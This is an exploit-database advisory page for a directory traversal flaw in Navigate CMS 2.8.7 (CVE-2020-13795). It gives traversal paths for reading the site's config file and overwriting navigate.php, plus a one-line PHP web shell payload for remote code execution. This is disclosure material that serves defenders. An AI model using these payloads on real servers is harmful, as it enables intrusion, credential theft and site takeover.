Navigate CMS 2.8.7 Authenticated Directory Traversal

2020.06.10
Credit: Gus Ralph
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-22


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: Navigate CMS 2.8.7 - Authenticated Directory Traversal # Date: 2020-06-04 # Exploit Author: Gus Ralph # Vendor Homepage: https://www.navigatecms.com/en/home # Software Link: https://sourceforge.net/projects/navigatecms/files/releases/navigate-2.8.7r1401.zip/download # Version: 2.8.7 # Tested on: Ubuntu # CVE: CVE-2020-13795 A malicious user can abuse the authenticated templates functionality to traverse out of the templates directory to read and write to any file on the webserver as www-data. For this vulnerability, I looked into the "templates" feature of the application. It seems we can edit any file in the application's templates directory, for example: `/var/www/html/navigate/private/1/templates/` My initial thought was to traverse out of the current directory and read the global config file (located at `/var/www/html/navigate/cfg/globals.php`). My payload would then consist of creating a template, setting the path to be `/var/www/html/navigate/private/1/templates/../../../cfg/globals.php` Furthermore, this can be abused to write to a PHP file and gain RCE on the remote server, for example: Traversal payload: `../../../navigate.php` PHP Code execution payload: ``` <?php system($_GET['cmd']); ?> ```


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top